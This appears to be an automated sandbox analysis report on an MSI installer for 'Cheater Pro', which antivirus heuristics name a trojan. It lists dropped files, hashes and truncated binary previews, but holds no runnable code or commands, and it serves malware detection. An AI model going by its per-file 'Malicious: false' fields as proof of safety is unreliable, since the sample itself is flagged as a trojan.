Preview:	......................>.................../...................................j.......i........................................... ...!..."...#...$...%...&...'...(...)....../...0...1...............................................4...5...6...7...8...9...:...;.......................................................................................................................................................................................................................................................................b...........#...0............................................................................................... ...!...".../...$.......&...'...(...)......+...,...-.......6...1...B...2...3...4...5...8...7...?...9...:...;...<...=...>...H...@...A...a...C...D...E...F...G...........J...K...L...M...N...O...P...Q...R...S...T...U...V...W...X...Y...Z...[...\...]...^..._...`.......c.......d...e...f...g...h...i...9.......l...m...n...o...p...q...r...s...t...u...v...w...x...y...z...

C:\Windows\Installer\MSI24A6.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	446944
Entropy (8bit):	6.403916470886214
Encrypted:	false
SSDEEP:	6144:5x0A4eCDsgvSd7ftYx5fnLHT7ybjfgaUFfQiAOuv2IaZeB+:5x0ECIgYOx5fnL/tYi8OBZr
MD5:	475D20C0EA477A35660E3F67ECF0A1DF
SHA1:	67340739F51E1134AE8F0FFC5AE9DD710E8E3A08
SHA-256:	426E6CF199A8268E8A7763EC3A4DD7ADD982B28C51D89EBEA90CA792CBAE14DD
SHA-512:	99525AAAB2AB608134B5D66B5313E7FC3C2E2877395C5C171897D7A6C66EFB26B606DE1A4CB01118C2738EA4B6542E4EB4983E631231B3F340BF85E509A9589E
Malicious:	false
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$..........0...c...c...c...b...c...bZ..c...b...c...b...c...b...c...b...c...b...c...b...c...c...cF..b...cF..b...cF..c...c..{c...cF..b...cRich...c........................PE..L....;.a.........."!.....t...P......'.....................................................@.........................PK......$S..........0........................L......p...............................@...............4............................text....r.......t.................. ..`.rdata..@............x..............@..@.data....!...p.......R..............@....rsrc...0............d..............@..@.reloc...L.......N...j..............@..B........................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSI2553.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	446944
Entropy (8bit):	6.403916470886214
Encrypted:	false
SSDEEP:	6144:5x0A4eCDsgvSd7ftYx5fnLHT7ybjfgaUFfQiAOuv2IaZeB+:5x0ECIgYOx5fnL/tYi8OBZr
MD5:	475D20C0EA477A35660E3F67ECF0A1DF
SHA1:	67340739F51E1134AE8F0FFC5AE9DD710E8E3A08
SHA-256:	426E6CF199A8268E8A7763EC3A4DD7ADD982B28C51D89EBEA90CA792CBAE14DD
SHA-512:	99525AAAB2AB608134B5D66B5313E7FC3C2E2877395C5C171897D7A6C66EFB26B606DE1A4CB01118C2738EA4B6542E4EB4983E631231B3F340BF85E509A9589E
Malicious:	false
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$..........0...c...c...c...b...c...bZ..c...b...c...b...c...b...c...b...c...b...c...b...c...c...cF..b...cF..b...cF..c...c..{c...cF..b...cRich...c........................PE..L....;.a.........."!.....t...P......'.....................................................@.........................PK......$S..........0........................L......p...............................@...............4............................text....r.......t.................. ..`.rdata..@............x..............@..@.data....!...p.......R..............@....rsrc...0............d..............@..@.reloc...L.......N...j..............@..B........................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSI2583.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	446944
Entropy (8bit):	6.403916470886214
Encrypted:	false
SSDEEP:	6144:5x0A4eCDsgvSd7ftYx5fnLHT7ybjfgaUFfQiAOuv2IaZeB+:5x0ECIgYOx5fnL/tYi8OBZr
MD5:	475D20C0EA477A35660E3F67ECF0A1DF
SHA1:	67340739F51E1134AE8F0FFC5AE9DD710E8E3A08
SHA-256:	426E6CF199A8268E8A7763EC3A4DD7ADD982B28C51D89EBEA90CA792CBAE14DD
SHA-512:	99525AAAB2AB608134B5D66B5313E7FC3C2E2877395C5C171897D7A6C66EFB26B606DE1A4CB01118C2738EA4B6542E4EB4983E631231B3F340BF85E509A9589E
Malicious:	false
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$..........0...c...c...c...b...c...bZ..c...b...c...b...c...b...c...b...c...b...c...b...c...c...cF..b...cF..b...cF..c...c..{c...cF..b...cRich...c........................PE..L....;.a.........."!.....t...P......'.....................................................@.........................PK......$S..........0........................L......p...............................@...............4............................text....r.......t.................. ..`.rdata..@............x..............@..@.data....!...p.......R..............@....rsrc...0............d..............@..@.reloc...L.......N...j..............@..B........................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSI25B3.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	446944
Entropy (8bit):	6.403916470886214
Encrypted:	false
SSDEEP:	6144:5x0A4eCDsgvSd7ftYx5fnLHT7ybjfgaUFfQiAOuv2IaZeB+:5x0ECIgYOx5fnL/tYi8OBZr
MD5:	475D20C0EA477A35660E3F67ECF0A1DF
SHA1:	67340739F51E1134AE8F0FFC5AE9DD710E8E3A08
SHA-256:	426E6CF199A8268E8A7763EC3A4DD7ADD982B28C51D89EBEA90CA792CBAE14DD
SHA-512:	99525AAAB2AB608134B5D66B5313E7FC3C2E2877395C5C171897D7A6C66EFB26B606DE1A4CB01118C2738EA4B6542E4EB4983E631231B3F340BF85E509A9589E
Malicious:	false
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$..........0...c...c...c...b...c...bZ..c...b...c...b...c...b...c...b...c...b...c...b...c...c...cF..b...cF..b...cF..c...c..{c...cF..b...cRich...c........................PE..L....;.a.........."!.....t...P......'.....................................................@.........................PK......$S..........0........................L......p...............................@...............4............................text....r.......t.................. ..`.rdata..@............x..............@..@.data....!...p.......R..............@....rsrc...0............d..............@..@.reloc...L.......N...j..............@..B........................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSI2640.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	386002
Entropy (8bit):	6.411073589246127
Encrypted:	false
SSDEEP:	6144:8BKwXYBWHRuEFW9RzLLhrUmdHDZ19MhqBKwXYBWHRuEFW9RzLLhrUmdHDZ19MhV:ZaHRuEs3Xmm9DZEBaHRuEs3Xmm9DZEL
MD5:	1842D8ED886A445599DCB3D7C0C7FD9D
SHA1:	3530BAABC3168107C85C349C45A02A409B521666
SHA-256:	888F9C07DEF247EBF5A79ABCE0DBEE8C5580A3F1F1F2D0BA5D0398364CE067AB
SHA-512:	E33AE86CBDF93113B8B7934DD5D857D66B05E45568A10102741CF61047E47236428F158E540BE06E1711CD1320A4DC44F13C1163D657B9C2792FC78F4B0647BD
Malicious:	false
Preview:	...@IXOS.@.....@B*.W.@.....@.....@.....@.....@.....@......&.{613ECCAC-BB2F-4E38-8A79-9B3CA2F46B70}..Cheater Pro;.SecuriteInfo.com.HEUR.Trojan.OLE2.Agent.gen.26943.12401.msi.@.....@.....@.....@........&.{959732BE-53D4-4D93-8FBD-66FB077C59F2}.....@.....@.....@.....@.......@.....@.....@.......@......Cheater Pro......Rollback..Rolling back action:....RollbackCleanup..Removing backup files..File: [1]...@.......@........ProcessComponents..Updating component registration...@.....@.....@.]....&.{4D0AAD19-8755-4E2F-A5B2-DD9FEF0C33D7}7.C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\file.@.......@.....@.....@........AI_RollbackTasks21.Rolling back scheduled task on the local computer..Task Name: [1]J...AI_RollbackTasks2.@.-........MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........A..QA..QA..Q...PK..Q...P..Q...PP..Q...PR..Q...PW..Q...Pu..Q...P@..Q...PP..QA..Q...Q...PY..Q...P@..Q...Q@..QA..Q@..Q...P@..QRichA..Q..

C:\Windows\Installer\MSI2641.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	191968
Entropy (8bit):	6.4059654303545885
Encrypted:	false
SSDEEP:	3072:TM6KwXYKcWHBnqA2L6vFW90Y+y3jS6LhrZe6benANHPPDZ1D5GvEOiF:TBKwXYBWHRuEFW9RzLLhrUmdHDZ19Mh0
MD5:	F11E8EC00DFD2D1344D8A222E65FEA09
SHA1:	235ED90CC729C50EB6B8A36EBCD2CF044A2D8B20
SHA-256:	775037D6D7DE214796F2F5850440257AE7F04952B73538DA2B55DB45F3B26E93
SHA-512:	6163DD8FD18B4520D7FDA0986A80F2E424FE55F5D65D67F5A3519A366E53049F902A08164EA5669476100B71BB2F0C085327B7C362174CB7A051D268F10872D3
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........A..QA..QA..Q...PK..Q...P..Q...PP..Q...PR..Q...PW..Q...Pu..Q...P@..Q...PP..QA..Q...Q...PY..Q...P@..Q...Q@..QA..Q@..Q...P@..QRichA..Q................PE..L....;.a.........."!................'........ ......................................O.....@.................................X...x.......x...........................ty..p....................z.......$..@............ .........@....................text............................... ..`.rdata....... ......................@..@.data...............................@....rsrc...x...........................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSI26EE.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	588768
Entropy (8bit):	6.567039334307586
Encrypted:	false
SSDEEP:	12288:LBX/lKyuDvn4SsWPbV5BPsahK7RcekeUuyZD6WGvzQ5VEPL2Ra3D:x12h2SekeUuyZD6lvs0zqa3
MD5:	7B7D9E2C9B8236E7155F2F97254CB40E
SHA1:	99621FC9D14511428D62D91C31865FB2C4625663
SHA-256:	DF58FABA241328B9645DCB5DEC387EC5EDD56E2D878384A4783F2C0A66F85897
SHA-512:	FBAA1560F03255F73BE3E846959E4B7CBB1C24165D014ED01245639ADD6CC463975E5558567AB5704E18C9078A8A071C9E38DC1E499BA6E3DC507D4275B4A228
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........;...Z.J.Z.J.Z.Jj(.K.Z.Jj(.K.Z.Jj(.K.Z.J./.K.Z.J./.K.Z.J.. J.Z.J./.K.Z.Jj(.K.Z.J.Z.J.[.J./.K.Z.J./.K.Z.J./"J.Z.J.ZJJ.Z.J./.K.Z.JRich.Z.J................PE..L....<.a.........."!.........Z............................................... .......Q....@......................... o.......o...................................T......p...................@.......h...@...............L............................text...h........................... ..`.rdata..L...........................@..@.data................j..............@....rsrc...............................@..@.reloc...T.......V..................@..B................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSI3B71.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	191968
Entropy (8bit):	6.4059654303545885
Encrypted:	false
SSDEEP:	3072:TM6KwXYKcWHBnqA2L6vFW90Y+y3jS6LhrZe6benANHPPDZ1D5GvEOiF:TBKwXYBWHRuEFW9RzLLhrUmdHDZ19Mh0
MD5:	F11E8EC00DFD2D1344D8A222E65FEA09
SHA1:	235ED90CC729C50EB6B8A36EBCD2CF044A2D8B20
SHA-256:	775037D6D7DE214796F2F5850440257AE7F04952B73538DA2B55DB45F3B26E93
SHA-512:	6163DD8FD18B4520D7FDA0986A80F2E424FE55F5D65D67F5A3519A366E53049F902A08164EA5669476100B71BB2F0C085327B7C362174CB7A051D268F10872D3
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........A..QA..QA..Q...PK..Q...P..Q...PP..Q...PR..Q...PW..Q...Pu..Q...P@..Q...PP..QA..Q...Q...PY..Q...P@..Q...Q@..QA..Q@..Q...P@..QRichA..Q................PE..L....;.a.........."!................'........ ......................................O.....@.................................X...x.......x...........................ty..p....................z.......$..@............ .........@....................text............................... ..`.rdata....... ......................@..@.data...............................@....rsrc...x...........................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSI3C3D.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	446944
Entropy (8bit):	6.403916470886214
Encrypted:	false
SSDEEP:	6144:5x0A4eCDsgvSd7ftYx5fnLHT7ybjfgaUFfQiAOuv2IaZeB+:5x0ECIgYOx5fnL/tYi8OBZr
MD5:	475D20C0EA477A35660E3F67ECF0A1DF
SHA1:	67340739F51E1134AE8F0FFC5AE9DD710E8E3A08
SHA-256:	426E6CF199A8268E8A7763EC3A4DD7ADD982B28C51D89EBEA90CA792CBAE14DD
SHA-512:	99525AAAB2AB608134B5D66B5313E7FC3C2E2877395C5C171897D7A6C66EFB26B606DE1A4CB01118C2738EA4B6542E4EB4983E631231B3F340BF85E509A9589E
Malicious:	false
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$..........0...c...c...c...b...c...bZ..c...b...c...b...c...b...c...b...c...b...c...b...c...c...cF..b...cF..b...cF..c...c..{c...cF..b...cRich...c........................PE..L....;.a.........."!.....t...P......'.....................................................@.........................PK......$S..........0........................L......p...............................@...............4............................text....r.......t.................. ..`.rdata..@............x..............@..@.data....!...p.......R..............@....rsrc...0............d..............@..@.reloc...L.......N...j..............@..B........................................................................................................................................................................................................................................................................

C:\Windows\Installer\SourceHash{613ECCAC-BB2F-4E38-8A79-9B3CA2F46B70}

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.1924943537497517
Encrypted:	false
SSDEEP:	12:JSbX72FjFsXAlfLIlHmRpI5h+7777777777777777777777777ZDHFvou3Yb0jtz:JuUIYLGl0AF
MD5:	FD3C1BD56DC051001191EDADA008A27D
SHA1:	6E8EE58D85001F511463088DC9BF01C6BFA0485A
SHA-256:	22B2332AF35B2EE61FA60D5933A953EF4B0129EF0441CC278A60DCB2AD2C9738
SHA-512:	5F1F7CA28542DF02EA7CFAAA50089201926F2B6E0EBA72A9FD6036E313AB58BB8D55493DC38CEEFD8CE63B27328DE20B9931D206F82F60B33CEE512B8023AC33
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\inprogressinstallinfo.ipi

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.6296689399982338
Encrypted:	false
SSDEEP:	48:08PhYuRc06WX4UnT5wHBmlw4dwnSkdwOVAEkrCyGCoxMudwuSkdwyTLD:LhY1knTplmJeRCXZ
MD5:	61B041D295E923D27730303C757C0172
SHA1:	3EFA3FA25983DD99E1C9B3E3BC129DDB99546C28
SHA-256:	C054DC899B89DD774D862C722B6D618DE34AF4942B190E0B9A5CBD721E63F194
SHA-512:	451538A622B28934D473E16B3877177A909C5937B17B2F3673FF2B1ECD2FB301CA365B2FBBE900F293DD72C740C5E0D0D9AAF70EF5ED49845EE213A0ED2EC0AC
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	360001
Entropy (8bit):	5.362993302074116
Encrypted:	false
SSDEEP:	1536:6qELG7gK+RaOOp3LCCpfmLgYI66xgFF9Sq8K6MAS2OMUHl6Gin327D22A26KgauQ:zTtbmkExhMJCIpEd
MD5:	B75E4361E9031BBF188B94BA0A064C85
SHA1:	B22C4D4526A22CA87593D57101557BE45E2181BE
SHA-256:	4B79F5ADFABF5BEFE08DFBE064BB8D92FF275D22D7D649A2EF1F169D004CB03F
SHA-512:	953CE48A272E60B9D91F4DB108F6B9428476C3EC2AEB829EFE2CC825804A95D81575F27BB76F83C21F6C0DC6C869510E652E57A6C04FFCCFFA52B431D615AEF0
Malicious:	false
Preview:	.To learn about increasing the verbosity of the NGen log files please see http://go.microsoft.com/fwlink/?linkid=210113..12/07/2019 14:54:22.458 [5488]: Command line: D:\wd\compilerTemp\BMT.200yuild.1bk\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe executeQueuedItems /nologo ..12/07/2019 14:54:22.473 [5488]: Executing command from offline queue: install "System.Runtime.WindowsRuntime.UI.Xaml, Version=4.0.0.0, Culture=Neutral, PublicKeyToken=b77a5c561934e089, processorArchitecture=msil" /NoDependencies /queue:1..12/07/2019 14:54:22.490 [5488]: Executing command from offline queue: install "System.Web.ApplicationServices, Version=4.0.0.0, Culture=Neutral, PublicKeyToken=31bf3856ad364e35, processorArchitecture=msil" /NoDependencies /queue:3..12/07/2019 14:54:22.490 [5488]: Exclusion list entry found for System.Web.ApplicationServices, Version=4.0.0.0, Culture=Neutral, PublicKeyToken=31bf3856ad364e35, processorArchitecture=msil; it will not be installed..12/07/2019 14:54:22.490 [

C:\Windows\Temp\~DF06BC682FB77DFEB6.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF213F0DED858611CE.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	1.3008549538480225
Encrypted:	false
SSDEEP:	48:Y24QugvhPIFX4rT5MHBmlw4dwnSkdwOVAEkrCyGCoxMudwuSkdwyTLD:eQLIoTtlmJeRCXZ
MD5:	D753CAE36882583A72B5325682DACA13
SHA1:	7D4E070AD31E0A120CD3531F0607055CBAF3D87E
SHA-256:	90C028BD9F206179C8C7ECD8ED11033E26660C426E0129EE9F8A06FF9CDFE11C
SHA-512:	F71CCFDE649F02FD4E2EA6F3A308FE1BECE159F7791AF05928D90D0C33D045AAC4E0C793EE0531041FAE758E880ADE70802903CB83AD25F0E5CD738B1B9C65F4
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF24C14AF922A864DC.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.6296689399982338
Encrypted:	false
SSDEEP:	48:08PhYuRc06WX4UnT5wHBmlw4dwnSkdwOVAEkrCyGCoxMudwuSkdwyTLD:LhY1knTplmJeRCXZ
MD5:	61B041D295E923D27730303C757C0172
SHA1:	3EFA3FA25983DD99E1C9B3E3BC129DDB99546C28
SHA-256:	C054DC899B89DD774D862C722B6D618DE34AF4942B190E0B9A5CBD721E63F194
SHA-512:	451538A622B28934D473E16B3877177A909C5937B17B2F3673FF2B1ECD2FB301CA365B2FBBE900F293DD72C740C5E0D0D9AAF70EF5ED49845EE213A0ED2EC0AC
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF24C709C2221AD695.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.09004286373035969
Encrypted:	false
SSDEEP:	6:2/9LG7iVCnLG7iVrKOzPLHKO0PigcGPr7u3dL6rtqVky6lP1:2F0i8n0itFzDHFvou3Ynt
MD5:	73BD24EA15ECD84AAC84E63C51BDF494
SHA1:	80E927E1E2F56DCFC34B067D6D4CE43BC63EB1D0
SHA-256:	BB5B0D74149836451EDCD713A5750DF6347558224D60A61D6A45F6D36B1E4F72
SHA-512:	0953F174E29430CC2E4D76DC67190EB15B2FAC1BD77C5D7468B42135898F4C3C8E95FBBB3A428265B1AC391ED923A314D60761E9E9B8E4D9A4F071C04973F051
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF41CD90F3F6674538.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.6296689399982338
Encrypted:	false
SSDEEP:	48:08PhYuRc06WX4UnT5wHBmlw4dwnSkdwOVAEkrCyGCoxMudwuSkdwyTLD:LhY1knTplmJeRCXZ
MD5:	61B041D295E923D27730303C757C0172
SHA1:	3EFA3FA25983DD99E1C9B3E3BC129DDB99546C28
SHA-256:	C054DC899B89DD774D862C722B6D618DE34AF4942B190E0B9A5CBD721E63F194
SHA-512:	451538A622B28934D473E16B3877177A909C5937B17B2F3673FF2B1ECD2FB301CA365B2FBBE900F293DD72C740C5E0D0D9AAF70EF5ED49845EE213A0ED2EC0AC
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF583FAA4871BC4BEE.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF65D69D712555122E.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF9ABB027F23890AC9.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	73728
Entropy (8bit):	0.16151844925165018
Encrypted:	false
SSDEEP:	48:rDAT4dwuSkdwfdwnSkdwOVAEkrCyGCoxM/8nHBm:fDHJeRC1g
MD5:	C687E6E4814E755BB0219B1FDE97AF8C
SHA1:	0EB8A51A5ABA2D4E59304F0651E0C0430ABA629B
SHA-256:	32AAD3C2F209AFE3EE41B00013AC976D51797AC343DBBF2F690375EC74A732A2
SHA-512:	9102932A4DA42DB832E3E34957E4795093814BD657B746722FA6B1F8E6F4FD5F9E43454A41593AC7E912EE558CC2B77D4CDA4B2064EC70172EF4ECEA323E1BA6
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DFAF03700900E90F5D.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	1.3008549538480225
Encrypted:	false
SSDEEP:	48:Y24QugvhPIFX4rT5MHBmlw4dwnSkdwOVAEkrCyGCoxMudwuSkdwyTLD:eQLIoTtlmJeRCXZ
MD5:	D753CAE36882583A72B5325682DACA13
SHA1:	7D4E070AD31E0A120CD3531F0607055CBAF3D87E
SHA-256:	90C028BD9F206179C8C7ECD8ED11033E26660C426E0129EE9F8A06FF9CDFE11C
SHA-512:	F71CCFDE649F02FD4E2EA6F3A308FE1BECE159F7791AF05928D90D0C33D045AAC4E0C793EE0531041FAE758E880ADE70802903CB83AD25F0E5CD738B1B9C65F4
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DFB7528F1916CAA686.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	1.3008549538480225
Encrypted:	false
SSDEEP:	48:Y24QugvhPIFX4rT5MHBmlw4dwnSkdwOVAEkrCyGCoxMudwuSkdwyTLD:eQLIoTtlmJeRCXZ
MD5:	D753CAE36882583A72B5325682DACA13
SHA1:	7D4E070AD31E0A120CD3531F0607055CBAF3D87E
SHA-256:	90C028BD9F206179C8C7ECD8ED11033E26660C426E0129EE9F8A06FF9CDFE11C
SHA-512:	F71CCFDE649F02FD4E2EA6F3A308FE1BECE159F7791AF05928D90D0C33D045AAC4E0C793EE0531041FAE758E880ADE70802903CB83AD25F0E5CD738B1B9C65F4
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DFD4486CB6A704705C.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DFEF2A6F15002B2F40.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.3, MSI Installer, Last Printed: Fri Dec 11 11:47:44 2009, Create Time/Date: Fri Dec 11 11:47:44 2009, Last Saved Time/Date: Fri Sep 18 15:06:51 2020, Security: 0, Code page: 1252, Revision Number: {959732BE-53D4-4D93-8FBD-66FB077C59F2}, Number of Words: 2, Subject: Cheater Pro, Author: Cheater Pro Inc., Name of Creating Application: Cheater Pro, Template: ;1033, Comments: This installer database contains the logic and data required to install Cheater Pro., Title: Installation Database, Keywords: Installer, MSI, Database, Number of Pages: 200
Entropy (8bit):	6.929154057835859
TrID:	Windows SDK Setup Transform Script (63028/2) 47.91% Microsoft Windows Installer (60509/1) 46.00% Generic OLE2 / Multistream Compound File (8008/1) 6.09%
File name:	SecuriteInfo.com.HEUR.Trojan.OLE2.Agent.gen.26943.12401.msi
File size:	3'033'088 bytes
MD5:	3e40af38940b787932d356d0b7bf4b3d
SHA1:	5422afe104a7f6a2b09fc6866f776ddf5645ac83
SHA256:	a9c82ebf5e801a134bfb8b38a73138738a71c2cd7f255d886330277eb9e3c4b3
SHA512:	cb323e74b017736e3421bd6ab46e3876d5bd412b1fb9d804bfe2119c9c8dd7850f76561aed89fea93a14c7cdb6dc105b8d4656df2b73227770ce93e85841451b
SSDEEP:	49152:+KB9ib+ZKumZr1q4Fb6HXr1iWnYs4ntHurpllQ6atuxtZcTreUuyZD6lvVz9VWD3:qYKFFnWnkuxUTgvV/ql
TLSH:	B6E5AE25358AC536FB7E42706669D77A65BA7EE00FB104DBA3C83A2E1EB05C14231F17
File Content Preview:	........................>.................../...................................j.......i........................................... ...!..."...#...$...%...&...'...(...)...*.../...0...1...............................................4...5...6...7...8...9..

File Icon


Icon Hash:	2d2e3797b32b2b99

Network Behavior

Snort IDS Alerts

